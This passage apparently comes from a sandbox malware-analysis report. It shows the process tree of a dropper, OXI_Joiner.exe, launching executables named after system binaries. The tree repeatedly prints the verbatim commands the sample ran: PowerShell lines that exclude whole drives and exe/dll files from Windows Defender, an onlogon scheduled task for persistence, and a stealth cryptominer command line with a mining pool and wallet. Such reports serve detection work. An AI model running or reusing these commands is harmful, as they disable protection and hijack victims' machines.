        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        9⤵
        
        PID:1052
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        10⤵
        
        PID:8356
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        11⤵
        Executes a command shell one-liner
        
        PID:9104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        12⤵
        
        PID:14988
      - C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        6⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1264
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        7⤵
        Executes dropped EXE
        
        PID:2356
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        8⤵
        
        PID:120
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        9⤵
        
        PID:5624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12012
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        9⤵
        
        PID:4328
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4028
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        9⤵
        
        PID:5876
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        10⤵
        
        PID:8492
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        11⤵
        
        PID:9264
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        12⤵
        Executes a command shell one-liner
        
        PID:9452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        13⤵
        
        PID:10212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        13⤵
        
        PID:13848
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        12⤵
        
        PID:4568
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        7⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:368
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        8⤵
        Executes dropped EXE
        
        PID:3996
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        9⤵
        
        PID:2460
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        10⤵
        
        PID:2336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        11⤵
        
        PID:8652
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        10⤵
        
        PID:5476
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        11⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1052
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        10⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        11⤵
        
        PID:8508
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        12⤵
        
        PID:9400
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        13⤵
        
        PID:9540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        14⤵
        
        PID:9288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15072
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        13⤵
        
        PID:11620
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        8⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:932
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        9⤵
        Executes dropped EXE
        
        PID:3700
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        10⤵
        
        PID:3332
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        11⤵
        Executes a command shell one-liner
        
        PID:4068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        12⤵
        
        PID:4920
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        11⤵
        Executes a command shell one-liner
        
        PID:3476
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4624
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        11⤵
        
        PID:8268
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        12⤵
        
        PID:8792
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        13⤵
        
        PID:9724
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        14⤵
        Executes a command shell one-liner
        
        PID:9904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        15⤵
        
        PID:2004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        15⤵
        
        PID:15792
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        14⤵
        
        PID:2480
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        9⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3892
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        10⤵
        Executes dropped EXE
        
        PID:1840
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        11⤵
        
        PID:2616
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        12⤵
        Executes a command shell one-liner
        
        PID:4772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        13⤵
        
        PID:1404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        13⤵
        
        PID:6196
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        12⤵
        Executes a command shell one-liner
        
        PID:6180
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        13⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6840
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        12⤵
        
        PID:8636
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        13⤵
        
        PID:9020
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        14⤵
        
        PID:10176
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        15⤵
        Executes a command shell one-liner
        
        PID:9372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        16⤵
        
        PID:10248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        16⤵
        
        PID:2700
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45DbtR32y1cCw3WgPmCnRRJJhMHtGg61zXCBRHkzQaSfQo2aXjjYArfLq1HM9pYGjaAXGMgVTXYvrMqvLo57EojW9AMGfYs --pass=zanov --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        15⤵
        
        PID:14576
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        10⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        11⤵
        Executes dropped EXE
        
        PID:4608
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        12⤵
        
        PID:2608
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        13⤵
        Executes a command shell one-liner
        
        PID:3544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3280
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        13⤵
        
        PID:6312
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6932
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        13⤵
        
        PID:8700
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        14⤵
        
        PID:9152
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        15⤵
        
        PID:7940
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        16⤵
        
        PID:6268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        17⤵
        
        PID:8704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        17⤵
        
        PID:15864
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45DbtR32y1cCw3WgPmCnRRJJhMHtGg61zXCBRHkzQaSfQo2aXjjYArfLq1HM9pYGjaAXGMgVTXYvrMqvLo57EojW9AMGfYs --pass=zanov --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        16⤵
        
        PID:14784
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        11⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        12⤵
        Executes dropped EXE
        
        PID:1672
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        13⤵
        
        PID:5600
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        14⤵
        
        PID:2672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        15⤵
        
        PID:4392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        15⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6784
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        14⤵
        
        PID:6416
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        15⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6832
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        14⤵
        
        PID:10096
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45DbtR32y1cCw3WgPmCnRRJJhMHtGg61zXCBRHkzQaSfQo2aXjjYArfLq1HM9pYGjaAXGMgVTXYvrMqvLo57EojW9AMGfYs --pass=zanov --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        14⤵
        
        PID:14236
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        12⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4704
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        13⤵
        Executes dropped EXE
        
        PID:5620
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        14⤵
        
        PID:2760
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        15⤵
        
        PID:4952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        16⤵
        
        PID:6636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        16⤵
        
        PID:4576
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        15⤵
        
        PID:6604
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7136
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        15⤵
        
        PID:11036
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45DbtR32y1cCw3WgPmCnRRJJhMHtGg61zXCBRHkzQaSfQo2aXjjYArfLq1HM9pYGjaAXGMgVTXYvrMqvLo57EojW9AMGfYs --pass=zanov --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        15⤵
        
        PID:10232
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        13⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        14⤵
        Executes dropped EXE
        
        PID:3360
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        15⤵
        
        PID:2964
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        16⤵
        
        PID:6232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        17⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        17⤵
        
        PID:6484
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        16⤵
        
        PID:6732
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        17⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3496
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        16⤵
        
        PID:11744
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45DbtR32y1cCw3WgPmCnRRJJhMHtGg61zXCBRHkzQaSfQo2aXjjYArfLq1HM9pYGjaAXGMgVTXYvrMqvLo57EojW9AMGfYs --pass=zanov --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        16⤵
        
        PID:12760
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        14⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4724
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        15⤵
        
        PID:3076
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        16⤵
        
        PID:6552
        
        C:\Windows\System32\cmd.exe
        
